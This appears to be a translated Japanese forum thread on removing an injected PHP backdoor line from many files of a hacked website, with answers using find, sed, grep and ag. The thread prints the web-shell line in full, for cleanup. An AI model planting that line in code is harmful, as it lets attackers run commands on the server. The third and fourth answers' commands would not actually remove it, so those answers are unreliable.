私のサイトがウイルスに感染しました。このウイルスは、サイト内のいくつかのファイルにこの行を追加しました。私の考えは、ターミナルから独自のコマンドを使用してこのテキスト行を削除することです。
たとえば、「my-folder」というフォルダがあり、その中に「file-1.php」、「file-2.php」などのファイルがあるとします。
そして、感染したファイルが複数あるとします。
複数のファイルでこのコード行を見つけて削除するコマンドはありますか?すぐに?
削除するテキスト: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
これを見つけましたが、1 つのファイルでのみ機能します:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
これやってもいいですか?
答え1
sed
と組み合わせるfind
ことで再帰的にすることができます。次のようになります。find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
現在のディレクトリ ツリーを調べて、既存のすべての "*php" ファイルに sed を適用することに注意してください。また、変更されたすべてのファイルに対して .bak バックアップ ファイルが作成されます (そのため、後で念のために復元できます)。バックアップが不要な場合は、
-i.bak
を に置き換えます-i
。それ以外の場合は、 のようにして、後で (問題がないことを確認したら) バックアップを削除できますfind . -name "*php.bak" -delete
。この手順は今すぐにすべてを修正するのには役立ちませんが、将来的には確実に時間を節約できます。スクリプトを含むディレクトリを の下に保持します
git
(理想的には完全な CI/CD ソリューションである必要がありますが、git だけで開始できます)。そうすれば、ファイルに適用された変更を簡単にロールバック/ロールフォワードできます。
答え2
悪意のある文字列を含むファイルを検索し、次のように編集しますsed
。
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
私はよく頼りにしているag
php
フラグのあるファイルのみを検索します--php
。 必要に応じて、次のようにして同じことを実現できますgrep -r -i --include \*.php
。
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
答え3
コマンドに応じて、「for ループ」を使用することをお勧めします。
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
また、任意のファイルを「for i in file-1.php file-2.php file-n.php」に追加することもできます。
答え4
以下の方法を使用して、特定のパターンを含むファイル内の行を削除できます。
forループでファイルを指定することができます
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done